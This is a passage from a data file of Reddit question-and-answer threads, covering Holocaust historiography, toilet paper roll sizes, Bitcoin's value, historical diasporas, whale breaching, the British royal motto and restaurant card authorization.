that was essentially the effect. \n\nYou can see from these example the confused nature of decision making in the Nazi regime and how the question of \"who's decision would that have been?\" is one fraught with difficulty. I hope, however, that I have demonstrated some of the nature of the regime.\n\nIn regard to the question of defeat as an impetus for the escalation of the Final Solution, I again turn to Browning. He argued that \"Nazi racial policy was radicalized at points in time that coincided with the peaks of German military success, as the euphoria of victory emboldened and tempted an elated Hitler to dare ever more drastic policies\" and that \"Hitler's final hesitations [to implement deportations to the east] in August 1941--to wait until 'after the war'--were overcome in late September and early October, with the last great military encirclements that still promised early victory.\"^4 Hence, Browning's stance was not that the implementation of the Final Solution, the planned extermination of all the Jews of Europe, was accelerated by victory, but that in the planning stages, it was victory that pushed Nazi decision making forward. Hence, on December 12, 1941 and just after the Soviet counterattack, Hitler had at least intimated to if not directly told his immediate followers that the Final Solution was extermination. It is likely that he had made this decision prior to the Soviet attack, but this cannot be known. \n\nAt the same time, Reinhardt Heydrich had sent out invitations to the infamous Wannsee conference at which the Final Solution was laid out. The original date for the conference was December 9th, 1941, but the events in the Soviet Union led it to be changed to January 20, 1942. It is unknown to what degree Heydrich's plans changed during this period and how the Soviet counterattack influenced such possible changes. Browning, however, suggests that once the decision was made in late 1941 and got rolling in early 1942, the Nazis were committed to the program and its momentum would keep it going. \n\nKershaw, however, saw it differently. He saw \"the Wannsee Conference was taking place at a time of rapid transition and shifting perspectives in the 'solution to the Jewish Question'--a time when the intention to undertake an enormous deportation programme leading to total annihilation in work camps in occupied territory after the end of the war was rapidly giving way to the realization that the Jews would have to be destroyed during the war, and in the territory of the General Government.\"^5 Hence, Kershaw saw the failure to take Moscow as the impetus for the escalation of the exterminations which had occurred in 1941 by the *einsatzgruppen*. The Wannsee Conference, to him, was the location at which plans changed and escalated instead of, as Browning suggests, the place at which pre-existing plans were fleshed out.\n\nI hope this makes everything as clear as possible. Feel free to ask any follow up questions or for clarification of anything. I also would like to note that the two historians cited are two of if not the two premier English language historians of Hitler and the Holocaust.\n\n**Sources**\n\n1. Christopher Browning and Ju\u0308rgen Mattha\u0308us, *The Origins of the Final Solution: The Evolution of Nazi Jewish Policy, September 1939-March 1942*, (Lincoln: The University of Nebraska Press, 2004), 425.\n\n2. Ian Kershaw, *Hitler, the Germans, and the Final Solution*, (New Haven: Yale University Press, 2008), 269. \n\n3. Browning, *The Origins of the Final Solution*, 254-255.\n\n4. Ibid, 427. \n\n5. Kershaw, *Hitler, the Germans, and the Final Solution*, 267. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/48xbqa/askhistorians_podcast_057_intentionalism_and/"]]}
{"q_id": "2sa9wu", "title": "What/who standardized the size of the hole in our toilet paper rolls?", "selftext": "I just saw one with a tiny hole in the middle while at the airport and realized there's no good reason for them to be as big as they are, smaller hole would be more tp for volume of roll", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2sa9wu/whatwho_standardized_the_size_of_the_hole_in_our/", "answers": {"a_id": ["cnns8na"], "score": [180], "text": ["[edit: I may have, uh, flushed a little soon here on one point: Scott wasn't the later company of the patent holder, the Albany Perforated Wrapping Paper Company was--so Scott may have followed their standard, not vice versa.  In either case they shared a form factor, which may be telling.]\n\nI can tell you what predated ASTM standards, and why they exist.  It's almost certainly the result of [the Scott Paper Company, which was a pioneer in disposable roll paper](_URL_4_) (patent 1871) [.[edit: actually patented by the Wheelers of the later Albany Perforated Wrapping Company, who pioneered perforated paper](_URL_2_).]  In short, the initial production was from a large 72\"-long roll, initially unperforated but later divided into 1,000 sheets; the company sold dispensers as well, and the two needed to work together, as well as hitting the sweet spot for the manufacturing process.  The manufacturing process hasn't changed that much, either; if you look at steps 6-10 [in this general discussion](_URL_0_),  you'll see the crepeing and large rolling (before slicing of \"logs\" into rolls--though I'm not sure how long the long spools were) processes, which at one point would have made both rolled paper towel and toilet paper from the same master rolls.  That's not the case now, but the tubes of the two were the same size for that reason.  Once Scott [and APW] had proven the market, imitators arose, but they needed to sell for the standard fixture.  (The big rolls in institutional use are another category, but the mechanic is probably similar--core size is fairly standard.)\n\nIf you look online, you can find antique Scott and other early toilet paper dispensers.  The international and other standards today reflect a lot of the legacy of that early sizing for consumer paper rolls. [edit: I've been looking a bit, and [this is one example of an early cradle holder, with toothed edge for tearing unperforated rolls](_URL_3_).  But at around the same time (1880s) were Scott branded placard, wire, and wooden dowel holders too, though I can't find the original of that--but they evidently did patent the design at some point [if the wall piece is to be believed](_URL_1_).  But clearly APW had its own designs that held the paper out from the wall, and at some point used that one too--but these TP holders don't bear dates, sadly.]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.madehow.com/Volume-6/Toilet-Paper.html", "https://s-media-cache-ak0.pinimg.com/736x/44/e8/42/44e8428d04acc5dd44da4a2a82e8f6f4.jpg", "http://alloveralbany.com/archive/2010/03/15/toilet-paper-invented-in-yep-albany", "http://www.tagyerit.com/images/tp/1883_holder2.jpg", "http://pabook.libraries.psu.edu/palitmap/TP.html"]]}
{"q_id": "6lxrc5", "title": "how did people move before uhauls?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6lxrc5/eli5_how_did_people_move_before_uhauls/", "answers": {"a_id": ["djxebz1", "djxhd0t"], "score": [4, 3], "text": ["Throw everything you can fit into whatever vehicles you have at your disposal, and then make more than one trip if you need to. If you don't want to make multiple trips, then you would either need to find someone else with a large vehicle or pay someone to do so, whether that be a private individual or a company who explicitly does that sort of thing. There have always been people and companies around willing to do that.", "Horse carts and peons could already be rented in ancient Rome, whenever someone felt the necessity to move. But the habit of moving every few years and always carting all the furniture around has started only a few decades ago. Before, furniture seldomly left the address in one piece where the carpenter had dropped it off initially.\n\nE.g. when my grandmother married and moved in 1947, she didn't have so much to take with her. She owned not a single piece of furniture, nor was any space for furniture left in her in-laws' house. Her clothes and the dowry were brought over piece by piece whenever someone visited over. She died last year in the house where she had lived ever since, and a few of the original 1938 kitchen cabinets were still in use in the basement.\n\nOr when my mother moved for the first time in 1977, she moved into a 70sq. ft furnished apartment near her college, with a shared bathroom in the corridor, and took only a few clothes and books with her when she left her parents' house heading to the tram.\n\nWhen my father moved out of his parents' home officially in 1981, he was about to be honorably discharged and also headed to (the same) college. Being a lieutenant, he had access to a military truck with driver and a bunch of privates. This was the first documented \"move\" in my family that included some furniture (albeit not much).\n\nWhen my parents moved together in 1986, they had a professional moving company pick up the furniture and boxes at both addresses and move them to the new address. (Don't know how expensive that would have been; since both my parents were out of work and had to leave their subsidized college housing after their finals, social security picked up the tab.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1x4kq1", "title": "protestantism", "selftext": "I saw a post kind of similar, but it didn't clear it up for me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x4kq1/eli5_protestantism/", "answers": {"a_id": ["cf81sn2", "cf844t8"], "score": [5, 3], "text": ["Protestantism is basically christianity without the middle-man. The catholic church considers itself to be the institution standing between god and the believers, its purpose being to clearly and unambiguously deliver god's message to the people. Protestantism basically claims everyone (not only the clergy) can read and interpret the bible however they like.", "The Christian church in Europe was monolithic.  It claims to be \"universal\" - the latin word is Catholic.  If you disagreed with it or its teachings you could be branded a heretic and worst case put to death.\n\nEventually enough people decided they didn't want to live with a monolithic church.  They \"Protested\" the idea that there was only one way to worship Jesus.  \n\nOnce you start protesting against a monolithic church it's pretty easy to splinter into a million fragments - thus the whole collection of non-Catholic christian religious traditions that arose from the original act of Protest became the Protestant churches.\n\nThere are other flavors of christianity which are not Protestant - they were not created by people rejecting the claims of the monolithic European church to be the exclusive way to worship.  The Eastern Orthodox and Coptic churches trace their origins back to the Apostles just as the European church did.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "z6m28", "title": "How much does it cost to leave a TV, digital clock, laptop cord plugged in all the time?", "selftext": "My dad always unplugs the TV, digital clock, computer cord, and satellite box every night to save money. It's really annoying, because the satellite box always takes ten minutes to turn on every morning, and the others are just a pain in the ass to plug in. I want to tell him that it doesn't cost nearly as much as he thinks, but I really have no support to back that up.\n\nThe TV has a light on the front where the logo is, so it doesn't run on a circuit. It's a very faint light. From my understanding, if things run on a circuit (i.e. a microwave, toaster, etc.), they do not waste any electricity when they are not running.\n\nIf anybody knows the true costs of this leaving these items plugged in, I would really appreciate it. Thanks in advance!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z6m28/how_much_does_it_cost_to_leave_a_tv_digital_clock/", "answers": {"a_id": ["c61wkp2", "c61wzx9", "c61x5oj"], "score": [5, 6, 5], "text": ["An old-fashioned (CRT) TV, if on, might use $0.10 (ten cents) an hour, depending on cost of electricity in your area.  If off, less than a penny an hour.  The other stuff probably uses less than the TV.  \n\nThere is an element of safety in not having cords, etc. energized, but this is probably insignificant also; and may be balanced by the danger of having hands repeatedly near the plugs. ", "Why not plug them all into a surge protector? Then instead of plugging and unplugging them, your dad could just hit the switch to turn all the devices off in one step. ", "You can measure the amount of electricity used with a \"Kill-a-Watt\" meter.\n\nI found that my Dish HD DVR box uses a lot more power than I thought it did."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2vf63j", "title": "what makes bitcoin so valuable if anyone can create a cryptocurrency (dogecoin for example)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vf63j/eli5_what_makes_bitcoin_so_valuable_if_anyone_can/", "answers": {"a_id": ["coh1t9l", "coh1tfj", "coh1xlg", "coh1zqq", "coh2xsc", "coh98lz", "cohhlfr"], "score": [36, 4, 18, 2, 18, 2, 2], "text": ["It's valuable for the same reason anything is valuable.  And any random cyrptocurrency isn't valuable because of that same reason.\n\nThings have value because people are willing to exchange it for other things of value.\n\nIf no one anywhere is willing to exchange stuff for your new cryptocurrency then it has no value.\n\nIf people are willing to give you dollars for your cryptocurrency or stuff for it, then it has value.\n\nBitcoin can be exchanged for dollars easily enough, your brand new cryptocurrency can't be exchanged for dollars, so it doesn't have value.", "Same reason any currency is valuable, because people agree that it's valuable. You could start printing your own \"marcus money\", but it would only be valuable if people would agree that it's valuable.", "Because people give currencies value and that's it.\n\n**\"What about the US dollar?\"**\n\nYeah, we just give them value like any other currency. Technically if we all decide it's worth nothing tomorrow, then it'll be worth nothing.\n\n**\"But it's backed up by gold! Gold is valuable.\"**\n\nThe US Dollar hasn't been backed by gold since the 1970s.\n\n**\"But what about other currencies that are backed up by gold? The gold gives the currency value.\"**\n\nYeah, but who gave the gold the value?", "Humans have a long history of giving value to objects or currencies that would otherwise be worthless, the best example is probably gold, because it's price is only so high because of the value (and ties to currency, in some countries) that it has been assigned. In all reality, silver would be more desirable than gold (because of its industrial uses) if it wasn't for the *perceived* value assigned to gold.\n\nIn this way, BTC has experienced an increase in worth only because 1: People have begun investing in it, thus giving it real-world value. And 2: because websites have the option to purchase their product(s) with BTC. Historically, currencies are often given more value *simply because other people decide to use it for commerce* \n\nEdit: Dogecoin doesn't hold as much value as BTC for the opposite of the reasons explained in the above paragraph; Dogecoin doesn't have as many investors as BTC and Dogecoin isn't as widely used. If every BTC investor sold their bitcoins and invested in Dogecoins, Dogecoins' price would dramatically increase and websites would be forced to accept them, thus increasing the value even more.\n\n\nTl;dr: BTC has value because people have decided that it is valuable.", "What makes Coca-Cola so valuable when anyone can combine Atlanta tap water and high fructose corn syrup?", "Nothing the ship has sailed many many years ago. The people who got in early made out like bandits while the people who got in over the last 1.5-1 years probably got burned. I found out the hardware the power to run these machines isnt worth it. Ended up getting a 600 electric bill after three months since DTE didnt check my meter. Was still paying 200 a month, so it ended up costing me an additional 600 to run two rigs. Managed to mine up 1.5 BTC with trading lower based coins and got 75 LTC.\n\nInvested probably 2.5k into everything not a super big sync but hey its money right. Eventually these coins are going to phase out and the whales already sold their listing once the market started to tank. BTC went from 1200 ish to 200, but also keep in mind they went from .10 cents to 1200. I stopped reading and bothering with this, but since its a digital coin and all shares are stored on your computer you have a risk of losing everything.\n\nSince there is nothign stopping people from making alt coins dailys and creating their own system the market is going to kee flooding and its a waiting game to see if your alt coin makes it to a good trade website. If it does you can end up selling tons fo coins really fast and make a great profit, but if the coin doesnt hit the market or if they hit the market and you are 30 seconds to late you lost money. \n\nLast thing I want to mention is the trading websites, these websites have the ability to accept an alt coin, some websites put it to a vote, while others pick random/popular up and coming coins. Which makes me think they have a shit ton of inside trading going around. I mean if you own one of these sites and you see a new alt coin named xyz and you decide to put your rigs up on it, and mine the shit outa of it fo 2 weeks then list it on your website, then bam people flock in and buy/sell the shit out of it. Having the knowledge and power to know when one of these coins are going to hit is such bullshit.\n\nI spent countless nights mining random coins collect anywhere from 100k to 1m or 10m and praying they hit and they never do. So its like gambling really.\n\nI believe a lot of people noticed this and have left the game while some people are still hanging on.\n\nEnd rant/ TLDR- Trading websites have all the power and make all the money, Shits rigged, and no control over alt coin creation. Coins will eventually phase out like everything else.\n\n", "What makes cash so valuable if anyone can create a piece of paper with some numbers in the corners?\n\n\nThe trust and faith everyone has that the placeholder(paper money or bitcoin) is worth something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "tr0q5", "title": "What are the greatest diasporas in history?", "selftext": "I know of a few that are striking, like the Irish in America and the huge network of ethnic Chinese in Southeast Asia (and to some extent, worldwide), but I'm wondering what the greatest and most interesting are.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tr0q5/what_are_the_greatest_diasporas_in_history/", "answers": {"a_id": ["c4ozonz", "c4p0d6h", "c4p0v56", "c4p417m", "c4p4ri7", "c4paotd", "c4pf5yo"], "score": [3, 10, 15, 4, 9, 3, 2], "text": ["\"Great\" inherently requires a value judgment - what criteria defines a great diaspora? There's plenty of interesting ones, like Indians in South Africa, Japanese in South America, Jews in China...really depends on your definition of great.", "More than 10 million Africans were forcibly removed to the Americas forming an enormous current population. Depending on how you want to slice and dice the term \"diaspora\" that could easily represent the largest single movement of people and resulting dispersed population. In the US alone that amounts to about 40 millions people.\n\nAs far as interesting goes, it's hard to discuss the history of the Americas without addressing the African issue, so there's that.", "Well, I'm not going to get into \"greatest\", because nobody would be able to agree on that. Outside of America, the Chinese diaspora gets a lot of academic consideration and is the one I focused on the most, but the Pakistani/Indian/SE Asian one in the Gulf States, the Japanese in Brazil and Peru, the Jews in Shanghai until 1945, the Russians in China until 1945, the Irish in Spain and its colonies, the Irish (Wild Geese) in general, and the Scots in France all get their own slice of the pie. \n\nIf you want disproportionately influential, I think the Irish example is great, because even if you don't look at the United States, they've still be disproportionally influential in the Americas as well as Europe, especially since the actual number of emigrants from Ireland was comparatively low until the mid 1800s. More jarring is the overwhelming amount of these people who are involved in high-ranking military posts, from admirals to field marshals, and a surprising amount of people who are involved in high-level colonial service. Patricio Lynch in Chile, William Browne in Argentina, Ambrosio and Bernardo O'Higgins in Chile, Peter Lacy in Russia, Franz von Lacy in Austria, Kilmaire in France (and America), Alejandro O'Reilly in Spanish Louisiana, Arturo O'Neill in Spanish Florida, Maximilian Ulysses Browne in Austria, just off the top of my head. You can google these individuals yourself, I'm sure.\n\nThe Chinese diaspora is probably the most widespread and largest in number, especially since it had a relatively late start, and in my opinion most worthy of scholarly interest since they don't usually participate heavily in the political realm, but usually manage to occupy decent socioeconomic standards are occasionally targeted in basically pogroms - we've seen this in Indonesia and the Philippines. They are also quietly starting to take over some industries in Africa, but that's less diaspora and more government policy. \n\nOf course, the Jewish diaspora is its own grand topic all together, if you want to think about.", "Howabout the migration of tens of millions of Mexicans and other Latin Americans to the US over the course of the 20th century?", "People always name modern examples, but why not ancient ones? The Phoenician diaspora spread writing across the Mediterranean, and so must be counted as fairly influential. The Greek diaspora during the Archaic Period acted as a catalyst for much of the urbanization and development of the Western Mediterranean, especially Italy and Sicily, and its diaspora after Alexander the Great created a common elite culture across the entire classical world.\n\nSome people believe that a diaspora from the Fertile Crescent was responsible for the development of agriculture in Europe, but I personally do not.", "I see the Italian diaspora as super influential.  Numbers are massive around 20 million in Argentina, 25 million in Brazil, 18 million in US, and significant populations in Canada, Australia, Uruguay, Venezuela and Peru (Wikipedia numbers).  \n\nThe Italian diaspora has often significantly shaped the landscape in these places.  In the US (think NYC, Chicago), Argentina, the south and south-east of Brazil, Australia and Uruguay, the cultural influence is very visible eg. cuisine and jazz music. The diaspora has also produced a wealth of significant figures eg. Scalia, Alito, Fermi, Di Maggio, Giuliani, Madonna, Frank Sinatra, Dean Martin, (US), Scolari (Brazil), Peron, Belgrano, Messi (Argentina), Barassi, Imbruglia (Australia), Evangelista, Buble (Canada), and countless others.\n\nWhat I find interesting is that quite often, members of the Italian diaspora retain a connection with their Italian heritage and will identify as \"Italian\", despite the fact that they are often several generations removed from the original migrants, and may not have much of an idea about Italian culture eg. the Jersey Shore cast.", "Another interesting diaspora which has played a very influential role in geopolitics over the last 100 years or so has been the Armenian diaspora.  In the wake of the Armenian Genocide in 1915-1916 and its lack of recognition in Turkey and elsewhere in the world, coupled with the establishment of an independent Armenia, groups of Armenians in the United States and Europe have formed a powerful lobbying group that has  pressed on an issue that has ripple effects not only between the US, Turkey and Armenia, but EU politics, the Israeli-Palestinian issue and other thorny geopolitical problems.  More interestingly, there seems to be something of a sharp departure of opinion between the diaspora and the residents of Armenia in how the political situation should be handled.  For more on this I highly suggest Donal Bloxham's [The Great Game of Genocide](_URL_0_), particularly the chapter on the politics of memory and the genocide."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.amazon.com/The-Great-Game-Genocide-Imperialism/dp/0199226881/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1337316340&amp;sr=1-1"]]}
{"q_id": "b1frja", "title": "why do whales breach so violently? i understand they need to breathe, but putting their whole body out of the water and crashing all of their weight down seems excessive.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1frja/eli5_why_do_whales_breach_so_violently_i/", "answers": {"a_id": ["eilacf3", "eilccmo", "eild3k8", "eild63o", "eilo32u", "eilxj26"], "score": [23, 15, 8, 4, 3, 3], "text": ["the impact may dislodge parasites like crabs and barnacles, but the most likely reason is the same reason their small cousins the dolphins launch themselves into the air: it's fun!", "Perhaps weirdly, it's something that [people don't really have an answer to](_URL_0_); there are a bunch of theories that have some level of support, including getting rid of parasites, demonstrating power (it takes a lot of energy, so it's a good way of showing other nearby whales that you're not to be fucked with or that you're a viable mate), breathing if the seas are rough and they can't just pop their blowhole out, or just screwing around for fun.\n\nThere are a lot of different theories out there, some better than others, but ultimately the *definitive* answer (if there is one) isn't yet known.", "You'd have to ask a whale, but I'd say there are two probable reasons.\n\n1: hygiene. It may dislodge parasites and biofilms.\n\n2: it's probably fun. Breaching is often observed as part of apparent \"play\" behavior.\n\n3: The reduced hydrostatic pressure Might actually make taking in a deep breath easier, or facilitate extra respiration.\n", "One theory is that they impact the water to carry sound to other whales. Another is that they use this friction to clean themselves of various things.", " There was a Australian study done on this at  the University of Queensland , direct quote of article: \n\n & #x200B;\n\n\"The authors say these patterns suggest\u00a0breaching and slapping play a role\u00a0in both long-distance and\u00a0close-range\u00a0communication. By slamming their massive bodies into the water, the resulting sounds, like a drum, can travel enormous distances\"\n\n & #x200B;\n\narticle discussion the study: [_URL_0_](_URL_0_) ", "Whales normally just poke their blowholes a bit out of the water to breathe. Breaching is unrelated to breathing. Some whales breach as part of hunting behavior - coming up rapidly under schools of krill to catch a big mouthful. In other cases breaching is thought to be playful, or a part of courtship, or a way to work off tension (kind of like cracking your joints). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Cetacean_surfacing_behaviour"], [], [], ["https://qz.com/902840/scientists-finally-figured-out-why-whales-leap-into-the-air/"], []]}
{"q_id": "4qn3pe", "title": "the tension between politicians such as boris johnson and the public?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qn3pe/eli5_the_tension_between_politicians_such_as/", "answers": {"a_id": ["d4ud73c", "d4uklo9"], "score": [7, 2], "text": ["Boris was a key figurehead behind the vote to leave the country, something that 49 percent of those who voted voted against (and the 'regrexit' voters) are a little bit irritated with. Furthermore, many see the his large involvement in the referendum to have a pretty hefty political incentive, in that he would most likely use this as a power grab within the Conservative party if leave won due to Cameron stepping down (which happened)\n\nHowever, what Boris didn't anticipate was Cameron resigning straight away, meaning that it would be his successor, and not him that would have to deal with the whole shitstorm surrounding article 50, something which would likely make the successor to Cameron quite unpopular due to all the volatile factors involved in it. And so, Boris made the perhaps correct decision to not run for PM.", "Boris Johnson used to be the Mayor of London, an overall pretty left-leaning place. One of the promises the Conservatives made in the 2015 general election was to hold a referendum on the UKs membership in the EU. The Conservative party overall had a 'Remain' stance but Boris decided to avocate Leave, a move that most people think he did in order to improve his political career rather than actual beliefs, as evidenced by his 8 years as mayor. \n\n\nThe narrative a lot of people are pushing is that Boris expected the vote to be very close but for Remain. This would mean that he could put in a leadership challenge to select a new prime minister and he would be in a good place to run for it, with backing from important figures like Michael Gove, the Lord Chancellor.\n\n\nWhat actually happened is Leave won by a fairly decent margin, to the surprise of basically everyone. The current PM did a pretty clever move to poison the well for the next PM by declining to actually make the first actions to begin exit and announced he was stepping down, meaning whoever followed him would be responsible for the inevitable economic shit-show that follows.\n\n\nThe notable news from today is Michael Gove has done an instantaneous 180 and withdrawn all support he had for Boris as the new PM and is now running himself - this links with some 'accidentally' leaked emails from Rupert Murdoch who has a very large pull on British politics. He took with him most of the people who would have supported Boris, and so he decided to avoid wasting everyone's time by running in a race he would obviously lose, despite his previous position as most likely front runner.\n\n\nSo in short, he has made it pretty clear that his support of Leave was purely a move to further his political career, and now his closest backers have pulled the rug from underneath him and left him with nothing. This has left him pretty disliked by a lot of people for gambling the future of the country for a cause he didn't really support and having it backfire so dramatically. It's pretty much murdered his career for at least the next cycle.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1y94ka", "title": "Why would someone move from Italy to France in the early/mid 19th century? What could you tell me about such a person? More details inside.", "selftext": "I have an ancestor who was born in 1790 in Rapallo, Italy and died in 1850 in Marseilles, France. I have no information beyond that and his name (Ambroise DeBarbieris). Eventually, his family moved on to New Orleans, LA.\n\nCan anyone with French/Italian knowledge in that time period tell me anything that might give me context for his life?\n\nApparently France captured Rapallo in the late 18th century, annexed it to the Appennins departement in 1805, and then in 1814 the English freed it and it was given to the Kingdom of Sardinia-Piedmont the following year.\n\nI'd appreciate any information, but I'll throw out some questions:\n\n* Would those events have made it easier for people to travel between France and Italy? Would it have been lucrative to make that move?\n\n* Would his moving indicate anything about his level of affluence and/or profession? For example, were there a lot of poor people moving from Italy to France in order to find new opportunities? Were there any jobs in high demand in France that would have been tempting for foreigners to come take?\n\n* Does his moving indicate that he had moderate wealth (I'm assuming it wasn't cheap to just pack up and move)? \n\n* That side of my family is Catholic. I'm assuming he likely would have been as well? Or were Italians in the late 18th - early 19th century predominately another denomination or faith?\n\nThose are only ideas of what I'm looking for. Like I said, I'd appreciate any information. I realize that none of you can give me definitive information about HIM, and that you'd only be using knowledge of the time/area to make educated guesses. That's totally fine.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1y94ka/why_would_someone_move_from_italy_to_france_in/", "answers": {"a_id": ["cfifqfj"], "score": [2], "text": ["He may well have enlisted to fight for France during its many wars under the Republic and then under Napoleon. \n\nI didn't find anyone with that surname [in this list of French Napoleonic veterans](_URL_0_), but only about 40 percent of the French records survive. \n\nI do hope someone with expertise in French genealogy could point you toward other tools."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.stehelene.org/php/accueil.php?page=8&amp;lang=en"]]}
{"q_id": "6gtw1a", "title": "Is there a long historical tradition of texts referring to Mesopotamian rulers as \"shepherds\"? When the Gospels call Jesus a shepherd, are they simply continuing this tradition?", "selftext": "(The historicity of Jesus as a real person aside, I am asking about the Gospels as written texts)\n\nI remember being taught that the reference to Jesus as Shepard was an attempt to portray him humbly in comparison to other rulers: in the same vein as his manger birth and common upbringing.\n\nHowever, I've recently discovered that the Code of Hammurabi refers to himself in an almost identical way: as a \"salvation-bearing shepherd\" of the oppressed.\n\nWas it common for rulers to be referred to in this way? Is it intended as an expression of humility, and of their being 'down to earth' with the roots of their people? How recently have rulers still relied upon this image?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6gtw1a/is_there_a_long_historical_tradition_of_texts/", "answers": {"a_id": ["ditqde7"], "score": [3], "text": ["Yes, it was very common for kings to portray themselves as shepherds of their people. For example, it appears in a hymn of praise for King \u0160ulgi of the Ur III (\"Neo-Sumerian\") period. \n\n > Enlil gave him a good name: 'A lion's seed, who provides the E-kur generously, the beloved one of Ninlil; the one granted authority in the E-kur; the king of Urim, the one with shining heart, the shepherd, the protective genius of the Land'. Enlil chose \u0160ulgi in his pure heart and entrusted the Land to him. As the shepherd of all the countries, Enlil leant the crook and the staff against his arm, and placed the immutable sceptre of Nanna in his hand; he made him raise his head high, sitting on an unshakeable royal seat.\n\n_URL_1_\n\nEgyptian kings were also portrayed as shepherds of their people. From the Admonition of Ipuwer:\n\n > Let him but bring coolness upon their passion, and men will say:\n\u2018\u2018He is the shepherd of all mankind, and there is no evil in his heart.\u2019\u2019\n\nNote that Egyptian kings carried a [shepherd's crook](_URL_2_). It's been plausibly suggested that the [*kalmus* carried by Hittite kings](_URL_0_) was likewise a shepherd's crook.\n\nAs for the biblical tradition, note that Saul found David among his sheep (1 Samuel 16:11), and later the tribes of Israel declare David shepherd of the people of Israel (2 Samuel 5:1-2). \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sacred-texts.com/cla/luc/tsg/img/fig03.jpg", "http://etcsl.orinst.ox.ac.uk/cgi-bin/etcsl.cgi?text=t.2.4.2.07", "https://1.bp.blogspot.com/_ms7XqsC01QI/TJEFNVwczTI/AAAAAAAAAt8/l1ZXQKJwZkA/s1600/crook_flail.jpg"]]}
{"q_id": "1n8szo", "title": "why is great britain's national motto in french?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1n8szo/eli5_why_is_great_britains_national_motto_in/", "answers": {"a_id": ["ccgdgj0", "ccgdl8n", "ccgh56a", "ccghetr", "ccgi816", "ccgpsca"], "score": [27, 128, 12, 4, 9, 2], "text": ["French was the prestige language for a long time, used in diplomacy, law, etc. You'll notice that a lot of nations have mottos in Latin as well, for much the same reason: all educated people spoke it at one time. ", "I presume you're referring to [\"Dieu et mon droit\"](_URL_0_), which is the motto of the British Monarch, and also appears underneath the United Kingdom's coat of arms.\n\nThis phrase was first used by Richard I, in battle in 1198, and was later adopted by Edward III as his motto.\n\nAt that time, French and Latin were the official languages used in England, with [English being used mainly by lower classes](_URL_1_).", "We've got the same kinda thing in The Netherlands. Our monarchs motto is: \"Je Maintiendrai\"\n", "The reason for French being the 'official' language was that in 1066, England was conquered by Frenchmen (Normans) who took over all the big estates and ran everything for their own benefit, French being their language and Anglo-Saxon being very difficult to learn, as Wiiliam the Conquerer discovered.", "Richard the lionheart, King of England and Duke of Normandy (1157 - 1199) was actually \"Richard Coeur de Lion\" and didn't speak a single word of English. Like all Normans nobles he spoke \"French\".\n\n\"Dieu et mon droit\" was his battle cry and became the English motto a century later under Edward III of England, himself a descendant of the French king Philippe le Bel (Philip IV of France).\n\nNote: Philippe Le Bel was of Frankish origins, not Norman.\n\nThe Brits, loving tradition and hating changing it, never...changed it.", "We have a national motto?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Dieu_et_mon_droit", "http://www.studyenglishtoday.net/english-language-history.html"], [], [], [], []]}
{"q_id": "79de1h", "title": "why do we add tips after the server already swiped the card instead of paying the total that first time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79de1h/eli5_why_do_we_add_tips_after_the_server_already/", "answers": {"a_id": ["dp1379d", "dp15rsz"], "score": [44, 2], "text": ["When the server first swipes a card, it doesn't actually charge the card, just authorizes it for a charge. (I assume it contacts the bank to make sure there are available funds, but I don't really know that side of it). Then after you sign the receipt and leave, or later in the night when they have a free minute, they go back and enter the total amount paid, at which point it actually charges the total to your card.\n\nVery few places still use handwritten tickets, most use a computer system called Micros. Servers will make a ticket for each table/group, then they enter everything ordered into the computer, which sends the food tickets back to the kitchen/bar. Thus, the computer knows exactly what food was ordered from each table. It also knows the total amount paid, the difference is tips. Credit card tips go on your paycheck; some places you keep your own tips, other places pool tips and divide them equally. Most people just pocket cash, and only report a minimal amount of that to IRS.\n\ntl;dr: The swiping of the card just authorizes it for charge; actually charging it for money happens later in the day.", "Good question! Honestly.\n\nThey run your card just to make sure there are sufficient funds to pay for what you owe.  It's really just a CYA for the business.  Most restaurants don't actually charge your account, with tip included, until all bills are settled (batched) at the end of the night.  SWIM's a business Banker and sells merchant services, such as credit card terminals.  Boring fact, some can actually be programmed to include 15% just to \"check\" if there are funds available to cover not only the tab but a potential tip too.  This way the customer can be confronted before they leave that their account may cover the tab but not the industry-standard tip amount. (A hint to leave cash).\n\nCheck your card transactions and you'll see items ran at restaurants, and many other businesses, with an * next to the line item just to make you aware that your account has been debited, but to warn the transaction will be higher,once settled with tip included (all shows in pending charges).\n\nSide note: same for most gas stations when running credit, or sometimes debit.  You'll swipe your card and see somewhere between $1 and $80 charged just as a test to make sure the account is active and the item will show as pending before you even lift the pump handle.  Then later the 